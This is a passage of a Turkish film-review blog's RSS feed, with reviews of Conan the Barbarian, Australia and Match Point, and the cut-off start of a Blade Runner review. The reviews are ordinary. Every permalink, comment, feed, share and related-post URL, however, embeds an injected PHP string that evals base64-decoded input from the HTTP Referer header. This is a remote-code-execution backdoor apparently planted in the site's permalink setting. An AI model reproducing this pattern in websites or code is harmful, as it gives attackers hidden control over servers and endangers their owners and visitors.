<p>Conan henüz küçük bir çocukken köylerine çift yılan başı işareti taşıyan bir grup asker saldırır. Saldırı sırasında babasını, annesini ve halkını yitirir. Öksüz kalan Conan vakit kaybedilmeden köleleştirilir. Yıllarca bedensel kuvvet gerektiren bir işte çalıştırılır. Sonrasında bir gün güçlü yapısı ile keşfedilip başka bir hayata yelken açar. (meşhur olur)</p>
<p>Kısaca filmin Conan ile Thulsa Doom arasında geçen intikam savaşını olduğunu görüyoruz. Zaten bir Conan filminden de fazla bir şey beklemek mantıksız olacaktır diye düşünüyorum. Adamın çoluk çocuğa karışacak hali yok ya <img src='http://www.izlerkenkiler.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Fakat tüm bu bilindik hikayeye rağmen filmin oldukça başarılı olduğunu düşünüyorum. Özellikle film müzikleri mükemmel olmuş. Gerek filmin en başındaki kılıç dökme sahnesi gerekse özel efektler bakımından yeterli olmayı başarıyor. Yılına göre değerlendirecek olursak görsel efektleri yabana atmamak lazım.</p>
<p>Conan benim gözümde Schwarzenegger ile bütünleşmiş bir karakterdir. Filmin daha önce izlememiş olmama karşın birisi bana Conan&#8217;ı göster dese elimle Kaliforniya Valisini işaret ederdim :). Thulsa Doom (<a href=/tag/james-earl-jones target=_blank>James Earl Jones</a>) filme epeyce renk kattığını düşünüyorum. Bunun dışında Bergman filmlerinden alışık olduğumuz <a href=/tag/max-von-sydow target=_blank>Max von Sydow</a>&#8217;u da bu filmde izleyebiliyoruz.</p>
<p><img class="aligncenter size-full wp-image-1150" src="http://www.izlerkenkiler.com/wp-content/uploads/conan-barabarian-1-set-2.jpg" alt="conan-barabarian-1-set-2" width="542" height="340" /></p>
<p><a href=/tag/conan-the-barbarian target=_blank>Conan the Barbarian</a> kendisinden sonra çıkmış olan pek çok filme esin kaynağı olmuştur diye düşünüyorum. Filmde saçmalıklar da yok değil tabi. Bunların en göze batanları; iskeleti kalmış atların canlı atlar gibi dik durabilmesi, ilk sahnede o kadar uzaktan sallanan kılıcın Conan&#8217;ın annesine zarar verebilmesi ve Conan&#8217;ın cinsel bağlamda Cengiz Han&#8217;dan aşağı kalmadığıdır.</p>
<p><img class="alignright size-medium wp-image-1151" src="http://www.izlerkenkiler.com/wp-content/uploads/subotai-209x300.jpg" alt="subotai" width="209" height="300" /></p>
<p>Ayrıca seyahat ederken neden koşuyorlar anlayabilmiş değilim. Yürüyerek gitseler gidecekleri yer kaçacak sanki. Schwarzenegger&#8217;in kararsız kalmış bakışlarını da film içerisinde görmek mümkün, yönetmenim şimdi ne yapayım der gibi bakınıyor ara ara <img src='http://www.izlerkenkiler.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bunlara rağmen izlemesi eğlenceli bir film. Özellikle müzikleri çok iyi. Eskilere dönmek isteyen herkese tavsiye olunur. Yenisini çekseler de izlesek.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F03%2F18%2Fconan-the-barbarian-1982%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Conan%20the%20Barbarian%20%281982%29%20-%20Crom%20bana%20intikam%20ba%C4%9F%C4%B1%C5%9Fla%2C%20ba%C4%9F%C4%B1%C5%9Flamazsan%20da%20can%C4%B1n%20cehenneme%21"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/03/04/blade-runner-1982-androidleri-insandan-ayiran-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Blade Runner (1982) - Android&#8217;leri insandan ayıran nedir?'>Blade Runner (1982) - Android&#8217;leri insandan ayıran nedir?</a> <small>Üçüncü Dünya Savaşı&#8217;nın ardından dünyanın gün geçtikçe eskidiği bir gelecekte,...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/03/18/conan-the-barbarian-1982/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Australia (2008) - Bir davar çobanı hikayesi</title>
		<link>http://www.izlerkenkiler.com/2009/03/15/australia-2008-bir-davar-cobani-hikayesi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/03/15/australia-2008-bir-davar-cobani-hikayesi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 15 Mar 2009 15:20:44 +0000</pubDate>
		<dc:creator>notilus</dc:creator>
		
		<category><![CDATA[Amerika]]></category>

		<category><![CDATA[Avustralya]]></category>

		<category><![CDATA[2008]]></category>

		<category><![CDATA[Australia]]></category>

		<category><![CDATA[Baz Luhrmann]]></category>

		<category><![CDATA[David Wenham]]></category>

		<category><![CDATA[Hugh Jackman]]></category>

		<category><![CDATA[Nicole Kidman]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/2009/03/australia-2008-bir-davar-cobani-hikayesi/</guid>
		<description><![CDATA[
Australia, 2008 yapımı Baz Luhrmann filmdir. Konu itibari ile İkinci Dünya Savaşı öncesinde Avustralya&#8217;da beyazların uyguladıkları politikayı, dolayısı ile kayıp bir neslin nasıl yok edildiğini anlatma vaadi ile başlar yoluna.
Ama gelin görün ki konumuz bununla kısıtlı değildir. Hikayenin içinde bir çoban (celep?), torunu ve kızından başka bir yakını kalmamış bir Aborjin kralı - ki genelde [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/10/12/interview-populer-bir-aktris-bir-savas-muhabiri-bir-kamera-ve-bir-ev/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Interview - Popüler bir aktris, bir savaş muhabiri, bir kamera ve bir ev'>Interview - Popüler bir aktris, bir savaş muhabiri, bir kamera ve bir ev</a> <small>Film gerçekten başlıktan ibaret, bir savaş/politika muhabiri ünlü bir film...</small></li><li><a href='http://www.izlerkenkiler.com/2008/12/20/deception-2008-gel-yari-yariya-kirisalim-en-iyisi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi'>Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi</a> <small> Kendi halinde sosyallikten uzak yaşayan bir muhasebeci, ona  odası...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/11/gomorra-2008-italya-cephesinde-degisen-bir-sey-yok/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Gomorra (2008) - İtalya cephesinde değişen bir şey yok!'>Gomorra (2008) - İtalya cephesinde değişen bir şey yok!</a> <small>Gomorra şatafatlı mafya filmlerinin aksine güncel İtalyan mafyasını perdeye en...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1130" src="http://www.izlerkenkiler.com/wp-content/uploads/avustralya-australia-2008-dcdscr-imdb-72-turkce-alt-yazi-202x300.jpg" alt="avustralya-australia-2008-dcdscr-imdb-72-turkce-alt-yazi" width="267" height="396" /></p>
<p><a href=/tag/australia target=_blank>Australia</a>, <a href=/tag/2008 target=_blank>2008</a> yapımı <a href=/tag/baz-luhrmann target=_blank>Baz Luhrmann</a> filmdir. Konu itibari ile İkinci Dünya Savaşı öncesinde <a href=/tag/avustralya target=_blank>Avustralya</a>&#8217;da beyazların uyguladıkları politikayı, dolayısı ile kayıp bir neslin nasıl yok edildiğini anlatma vaadi ile başlar yoluna.</p>
<p>Ama gelin görün ki konumuz bununla kısıtlı değildir. Hikayenin içinde bir çoban (celep?), torunu ve kızından başka bir yakını kalmamış bir Aborjin kralı - ki genelde kendisi bir ruh gibi yaşamaktadır, ayrıca filmin en sempatik karakteri olduğunu düşünüyorum - kötülükte sınır tanımayan hayal gücü, et şirketleri, kuraklık, misyonerlik, savaş, sığır sürüleri, istismar, soyluluk ve daha pek çok gibi konuya değinmektedir.</p>
<p>Hatta film bir ara bitecek gibi olur ama bitmez devam eder. Üzücü olan bitmemesi değil devam etmesidir. Basit bir izleyici olarak o kısımdan sonrasına anlam veremediğimi söylesem anormal olmayacaktır sanırım.</p>
<p>Özellikle bu filmden sonra daha fazla <a href=/tag/nicole-kidman target=_blank>Nicole Kidman</a> izleyebileceğimi sanmıyorum. Kidman kendisini geliştiremiyor. Uzun zamandan beri yerinde sayması artık gözüme batar bir şekil almış durumda, tüm bunlar benim fikrim tabi kendisi bu konuda ne düşünüyordur bilemem <img src='http://www.izlerkenkiler.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bu film ile ilgili çok fazla konuşmak istemiyorum. İzlerken gerek hikaye gerek yönetmenlik gerek özel efektler olarak gözüme batan pek çok şey ile karşılaştım. Filmin büyük bölümü stüdyoda çekilmiş belli, bunu anlıyorum ama neden bu kadar belirgin ve yapmacık bunu anlamıyorum.</p>
<p><img class="aligncenter size-large wp-image-1128" src="http://www.izlerkenkiler.com/wp-content/uploads/12-1024x508.jpg" alt="12" width="692" height="333" /></p>
<p>Yine filmimin kopuklukta sınır tanımıyor. Bana göre iki ayrı filmi birbirine kaynatmışlar gibi geldi. İlk kısımda senaryo kontrolden çıkmış olacak ki film tam bitmeye doğru 1 saatlik anlamsız bir bölüm daha eklenmiş.</p>
<p><img class="alignright size-medium wp-image-1129" src="http://www.izlerkenkiler.com/wp-content/uploads/australia_10-300x239.jpg" alt="australia_10" width="300" height="239" /></p>
<p>Seyirciyi oldu da bitti maşallah tuzağına düşürmeleri kınıyorum. Filmde yapılan pek çok hareketin mantıklı bir temeli yok. Mantığını geçtim nedeni bile yok diyebilirim. Sadece film devam etsin Kidman oynasın kendini göstersin gibi bir düşünce güdülmüş olsa gerek.</p>
<p><a href=/tag/hugh-jackman target=_blank>Hugh Jackman</a> için de bir çift söz söylemek isterim. Kendisini geliştiren ve girdiği rolleri götüren bir adam ama bu filmde olmamış. Neden böyle bir projede yer almış olabileceğini anlamıyorum.</p>
<p>Filmin vaat ettiği konuyu işlediğini düşünmüyorum. Film olsun diye film yapmışlar o kadar. Büyük bölümü stüdyo işi zaten, sanat yönetmenini tebrik ederim, tek işçilik orada yapılmış bana göre. Saçma sapan bir film, karşılaştığınız yerde kaçmanızı tavsiye ederim. Hepsini geçtim bir de 165 dakika. Ömrümü çaldın davar çobanı hikayesi…</p>
<p>Filmin fotoğrafları çok güzelmiş bu arada <img src='http://www.izlerkenkiler.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> fotoğrafları için izlenebilir?! :))</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F03%2F15%2Faustralia-2008-bir-davar-cobani-hikayesi%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Australia%20%282008%29%20-%20Bir%20davar%20%C3%A7oban%C4%B1%20hikayesi"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/10/12/interview-populer-bir-aktris-bir-savas-muhabiri-bir-kamera-ve-bir-ev/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Interview - Popüler bir aktris, bir savaş muhabiri, bir kamera ve bir ev'>Interview - Popüler bir aktris, bir savaş muhabiri, bir kamera ve bir ev</a> <small>Film gerçekten başlıktan ibaret, bir savaş/politika muhabiri ünlü bir film...</small></li><li><a href='http://www.izlerkenkiler.com/2008/12/20/deception-2008-gel-yari-yariya-kirisalim-en-iyisi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi'>Deception (2008) - Gel Yarı Yarıya Kırışalım En İyisi</a> <small> Kendi halinde sosyallikten uzak yaşayan bir muhasebeci, ona  odası...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/11/gomorra-2008-italya-cephesinde-degisen-bir-sey-yok/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Gomorra (2008) - İtalya cephesinde değişen bir şey yok!'>Gomorra (2008) - İtalya cephesinde değişen bir şey yok!</a> <small>Gomorra şatafatlı mafya filmlerinin aksine güncel İtalyan mafyasını perdeye en...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/03/15/australia-2008-bir-davar-cobani-hikayesi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Match Point (2005) - Şans üzerine kurulu hayatlar</title>
		<link>http://www.izlerkenkiler.com/2009/03/09/match-point-2005-sans-uzerine-kurulu-hayatlar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/03/09/match-point-2005-sans-uzerine-kurulu-hayatlar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 02:38:54 +0000</pubDate>
		<dc:creator>guppee</dc:creator>
		
		<category><![CDATA[Amerika]]></category>

		<category><![CDATA[2005]]></category>

		<category><![CDATA[Brian Cox]]></category>

		<category><![CDATA[Emily Mortimer]]></category>

		<category><![CDATA[Jonathan Rhys Meyers]]></category>

		<category><![CDATA[Maç Sayısı]]></category>

		<category><![CDATA[Matthew Goode]]></category>

		<category><![CDATA[Penelope Wilton]]></category>

		<category><![CDATA[Scarlett Johansson]]></category>

		<category><![CDATA[Woody Allen]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/?p=1106</guid>
		<description><![CDATA[Başta filmin isminin ne kadar abuk olduğunu söylemeden geçemeyeceğim. Aynı zamanda afişi de başarısız buldum. Bu filmi yaklaşık 3 seneden beri biliyorum. Fragman izlemeksizin film izlemeyi tercih ettiğimden film hakkında en ufak bir bilgim yoktu. Afişine bakıp ya da ismini düşünüp &#8220;Scarlett Johansson niye böyle bir filmde oynamış ki?&#8221; diye söylenip duruyordum. Kafamda hep bir [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/12/17/the-day-the-earth-stood-still-1951-yabancilik-ve-paranoya-uzerine-bir-kult/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: The Day The Earth Stood Still (1951) - Yabancılık ve paranoya üzerine bir kült'>The Day The Earth Stood Still (1951) - Yabancılık ve paranoya üzerine bir kült</a> <small>Filmin geçen hafta vizyona giren Keanu Reeves&#8217;li yeniden çevrimi, &#8220;yeniden...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/14/angel-a-2005-benim-adim-andre-andre-moussa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Angel-A (2005) - Benim adım André. André Moussa.'>Angel-A (2005) - Benim adım André. André Moussa.</a> <small> Angel-A, 2005 yapımı bir Luc Besson filmidir. Senaryosu tanıdık...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/27/camur-2003-asilamamis-sinirlar-uzerine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Çamur (2003) - Aşılamamış sınırlar üzerine&#8230;'>Çamur (2003) - Aşılamamış sınırlar üzerine&#8230;</a> <small>Derviş Zaim&#8217;in 2003 yılında Kıbrıs sorunu üzerine Gökçeada, Konya ve...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_1107" class="wp-caption alignleft" style="width: 304px"><img class="size-full wp-image-1107" style="border: 1px solid black; margin: 1px;" src="http://www.izlerkenkiler.com/wp-content/uploads/matchpoint.jpg" alt="matchpoint" width="294" height="421" /><p class="wp-caption-text"> </p></div>
<p style="text-align: justify;">Başta filmin isminin ne kadar abuk olduğunu söylemeden geçemeyeceğim. Aynı zamanda afişi de başarısız buldum. Bu filmi yaklaşık 3 seneden beri biliyorum. Fragman izlemeksizin film izlemeyi tercih ettiğimden film hakkında en ufak bir bilgim yoktu. Afişine bakıp ya da ismini düşünüp &#8220;<a href=/tag/scarlett-johansson target=_blank>Scarlett Johansson</a> niye böyle bir filmde oynamış ki?&#8221; diye söylenip duruyordum. Kafamda hep bir sporcunun aşkı ve sporu arasındaki çelişkiyi ele aldığını kurup durdum. Sonunda bir yerden fragmanını izleyince iyi olabileceğine karar verip kuruldum ekran başına. Filmi izledikten sonra da afişin filmi hiç yansıtmadığına karar verdim. İsim ise idare eder&#8230;</p>
<p style="text-align: justify;">Film hayatı şans üzerine kurulu bir adamın hikayesini ele alıyor. Bu şansın ne kadar iyi ne kadar kötü olduğu ise tartışılır. Fakir bir geçmişe sahip Chris Wilton (<a href=/tag/jonathan-rhys-meyers target=_blank>Jonathan Rhys Meyers</a>) geçmişte başarılı bir tenisçiyken para kazanmak için pek de hayallerinin mesleği olmayan tenis öğretmenliği yapmaya başlıyor. Hocalığı sırasında Tom Hewett (<span style="color: #000000;"><a href=/tag/matthew-goode target=_blank>Matthew Goode</a></span>) ile tanışıyor ve anında iyi bir dostluk kuruyor. Yeni dostunu hayatına hızlı bir giriş yapan Chris, Tom&#8217;un kızkardeşi Chloe (<a href=/tag/emily-mortimer target=_blank>Emily Mortimer</a>) nin kalbini çalıveriyor. Fakat Tom&#8217;un nişanlısı Nola ile tanışınca (<a href=/tag/scarlett-johansson target=_blank>Scarlett Johansson</a>) işler karışıveriyor.</p>
<p style="text-align: justify;">Filmin en başından neler yaşanacağı belli olduğundan filmi doldurmak için kullanılan bir sürü ayrıntı sıkıcı geldi bana. Elim ileri alma tuşuna gidip gidip geldi. Aynı zamanda Nola&#8217;nın abartılı seksiliği, Chloe&#8217;nin gereksiz saflığı ve Hewett ebeveynlerin şahşahalarına yakışmayacak iyi niyetliliği çok iticiydi. Filmin genelinde bir absürdlük hakimdi. Evet kurgu iyiydi hakkını vermeliyim. Filmin başının ve sonunun bağlanma şekli çok zekiceydi. Karekterlerin davranışları ve özellikleri bu kadar abartılı olmasaydı ve film &#8220;absürd&#8221; yapılmaya çalışılmasaydı daha keyifli olabilirdi. Şimdi modern sanat sevenlerden gelen eleştirileri duyuyor gibiyim fakat bu tarz bir konuda da <a href=/tag/woody-allen target=_blank>Woody Allen</a> tarzı olmamış, üzgünüm&#8230;</p>
<p style="text-align: justify;">Filmin ele aldığı konu aslında hayatımızın rutinlerinden iki önemli olaya vurgu yapıyor. İlki şans kavramı. Her ne kadar hoşumuza gitmese de planlarımızdan, çalışmamızdan, tercihlerimizden çok rastlantısal olaylar hayatımızı alıp götürüyor. Bize yepyeni güzel sayfalar açıyor ya da elde ne var ne yoksa silip süpürüyor. Zaten filmin açılışında da bu şans kavamı hakkında üç beş söz söyleyip tenise gönderme yaparak buna vurgu yapılıyor. Filmin sevdiğim yanlarından biri aslen şans kavramına değinmiş çok da film olmaması. Kadere, azmin zaferlerine, şans eseri hayatta olan değişimlere gönderme yapan bir sürü film var fakat insan hayatının şans üzerine kurulu olduğunu hatta hayatı şansın yönettiğini bu kadar açıkça ,kabul etmeyi yediremeyeceğimiz doğrulukla özetleyen başka bir film izlemedim daha.</p>
<div id="attachment_1109" class="wp-caption aligncenter" style="width: 492px"><img class="size-full wp-image-1109" src="http://www.izlerkenkiler.com/wp-content/uploads/match-point.jpg" alt="match-point" width="482" height="313" /><p class="wp-caption-text"> </p></div>
<p style="text-align: justify;">İkinci vurucu nokta ise duygu mantık ikilemi hakkında geliyor. Tabi filmde duygudan çok şehvet işleniyor. Zaten filmde de olayın duygu ile ilgili değil şehvet ile ilgili olduğu açıkça söyleniyor. Hiç de bizi kandırıp çaresiz bir aşk hikayesi safsatasına dönüştürülmüyor olay. Herneyse&#8230; Film bir ikilemi güzel işliyor. Chrisin filmin en başından itibaren Nola&#8217;yı arzulayıp, tüm romantizmiyle Chloe&#8217;yi kucaklıyor. Bunu yaparken en ufak bir çelişki, vicdan rahatsızlığı ya da mide bulantısı hissetmiyor.</p>
<div id="attachment_1110" class="wp-caption aligncenter" style="width: 460px"><img class="size-full wp-image-1110" src="http://www.izlerkenkiler.com/wp-content/uploads/match_point11.jpg" alt="match_point11" width="450" height="285" /><p class="wp-caption-text"> </p></div>
<p style="text-align: justify;">Bu çoğu insanın hayatında yaptığı birşey. Toplum tarafından ya da idealler doğrultusunda en doğru seçilen yolu kucaklayıp, içimizden gelen ve en hayvani içgüdülerimize dayanan isteklerimizi basturmamız. Bastıramıyorsak ya da bastıramadıysak da durumu temizlemek ve hiçbir  şey olmamış gibi hayata devam edebilmek için de tüm bencilliğimizle önümüze gelen herşeyi ezip geçmemiz. Film bunu ilişkileri sembol alarak başarılı bir şekilde sergiliyor.</p>
<p style="text-align: justify;">Boş vaktiniz bolsa izlenebilecek bir film. Güzel&#8230; Belki de sadece bana göre değil bilemedim.</p>
<p style="text-align: justify;">
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F03%2F09%2Fmatch-point-2005-sans-uzerine-kurulu-hayatlar%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Match%20Point%20%282005%29%20-%20%C5%9Eans%20%C3%BCzerine%20kurulu%20hayatlar"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/12/17/the-day-the-earth-stood-still-1951-yabancilik-ve-paranoya-uzerine-bir-kult/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: The Day The Earth Stood Still (1951) - Yabancılık ve paranoya üzerine bir kült'>The Day The Earth Stood Still (1951) - Yabancılık ve paranoya üzerine bir kült</a> <small>Filmin geçen hafta vizyona giren Keanu Reeves&#8217;li yeniden çevrimi, &#8220;yeniden...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/14/angel-a-2005-benim-adim-andre-andre-moussa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Angel-A (2005) - Benim adım André. André Moussa.'>Angel-A (2005) - Benim adım André. André Moussa.</a> <small> Angel-A, 2005 yapımı bir Luc Besson filmidir. Senaryosu tanıdık...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/27/camur-2003-asilamamis-sinirlar-uzerine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Çamur (2003) - Aşılamamış sınırlar üzerine&#8230;'>Çamur (2003) - Aşılamamış sınırlar üzerine&#8230;</a> <small>Derviş Zaim&#8217;in 2003 yılında Kıbrıs sorunu üzerine Gökçeada, Konya ve...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/03/09/match-point-2005-sans-uzerine-kurulu-hayatlar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blade Runner (1982) - Android&#8217;leri insandan ayıran nedir?</title>
		<link>http://www.izlerkenkiler.com/2009/03/04/blade-runner-1982-androidleri-insandan-ayiran-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/03/04/blade-runner-1982-androidleri-insandan-ayiran-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 21:08:02 +0000</pubDate>
		<dc:creator>a product of your imagination</dc:creator>
		
		<category><![CDATA[Hollywood]]></category>

		<category><![CDATA[1982]]></category>

		<category><![CDATA[Bıçak Sırtı]]></category>

		<category><![CDATA[Blade Runner]]></category>

		<category><![CDATA[Edward James Olmos]]></category>

		<category><![CDATA[Harrison Ford]]></category>

		<category><![CDATA[M. Emmet Walsh]]></category>

		<category><![CDATA[Philip K. Dick]]></category>

		<category><![CDATA[Ridley Scott]]></category>

		<category><![CDATA[Rutger Hauer]]></category>

		<category><![CDATA[Sean Young]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/?p=1082</guid>
		<description><![CDATA[Üçüncü Dünya Savaşı&#8217;nın ardından dünyanın gün geçtikçe eskidiği bir gelecekte, diğer gezegenlerde kolonileşmede kullanılan nerdeyse tamamen insanımsı androidler Dünya&#8217;ya kaçak olarak geri dönmekte ve insanların yerini almaktadır. Burada da polis adına çalıştırılan düşük maaşlı ikramiye avcıları (Blade Runner&#8217;lar) androidleri emekli etmek için kullanılmaktadır. İnsansı oldukları ve onlarla içsel bir bağlantı kurulmaması için de öldürmek yerine [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/03/18/conan-the-barbarian-1982/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Conan the Barbarian (1982) - Crom bana intikam bağışla, bağışlamazsan da canın cehenneme!'>Conan the Barbarian (1982) - Crom bana intikam bağışla, bağışlamazsan da canın cehenneme!</a> <small>Conan the Barbarian, 1982 yapımı John Milius filmidir. Film, Conan&#8217;ın...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/24/slumdog-millionaire-2008-bizi-dogru-cevaba-goturen-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?'>Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?</a> <small>Yılın son demlerine yetişen, Türkiye&#8217;de 27 Şubat&#8217;ta gösterime girecek olan...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_1099" class="wp-caption alignleft" style="width: 388px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/blade_runner.jpg"><img class="size-full wp-image-1099" title="blade_runner" src="http://www.izlerkenkiler.com/wp-content/uploads/blade_runner.jpg" alt="blade_runner" width="378" height="569" /></a><p class="wp-caption-text"> </p></div>
<p>Üçüncü Dünya Savaşı&#8217;nın ardından dünyanın gün geçtikçe eskidiği bir gelecekte, diğer gezegenlerde kolonileşmede kullanılan nerdeyse tamamen insanımsı androidler Dünya&#8217;ya kaçak olarak geri dönmekte ve insanların yerini almaktadır. Burada da polis adına çalıştırılan düşük maaşlı ikramiye avcıları (<a href=/tag/blade-runner target=_blank>Blade Runner</a>&#8217;lar) androidleri emekli etmek için kullanılmaktadır. İnsansı oldukları ve onlarla içsel bir bağlantı kurulmaması için de öldürmek yerine emekli etmek deyimi kullanılmaktadır.</p>
<p><a href=/tag/blade-runner target=_blank>Blade Runner</a>, birçok ünlü bilimkurgu kitabının yazarı <a href=/tag/philip-k-dick target=_blank>Philip K. Dick</a> tarafından 1968&#8242;de yazılmış &#8220;<a href=/tag/bicak-sirti target=_blank>Bıçak Sırtı</a> - Android&#8217;ler elektrikli koyun düşler mi?&#8221; adlı kitabın oldukça gevşekçe sinemaya uyarlanmış hali. Şimdiden söylemem gerek daha önce izlemiş olduğum <a href=/tag/blade-runner target=_blank>Blade Runner</a>&#8217;ı sonunda kitabın bir kopyasını bulup okuyabilmemin şerefine bir kez daha izlemeye karar verdim. Filme yapacağım eleştiriler kitap ile bağlantılı olabilir, uyarayım. Zaten bir kitap uyarlaması olan filmlerin çok da kitaptan bağımsız değerlendirilmesi taraftarı değilim. Hele de kitabın yazarı sevdiğim bir yazar olunca. İşte <a href=/tag/philip-k-dick target=_blank>Philip K. Dick</a> de o yazarların başında gelenlerden.</p>
<p>Açıkcası <a href=/tag/blade-runner target=_blank>Blade Runner</a>&#8217;ın ilk eksikliği kanımca Vangelis tarafından gerçekleştirilmiş müzikleri, Vangelis&#8217;i Chariots of Fire&#8217;ı ile bilirim ve bana bu kadarı yeterli gelir. New age türü zaten sakinleştirici ve durağan bir müzik türüdür, <a href=/tag/blade-runner target=_blank>Blade Runner</a>&#8217;ın da sakin sahnelerine uygun olduğu söylenebilir belki fakat yarattığı tek etki sahnelerin uzun anlamsızlıklarını pekiştirmekten öteye gidemiyor.</p>
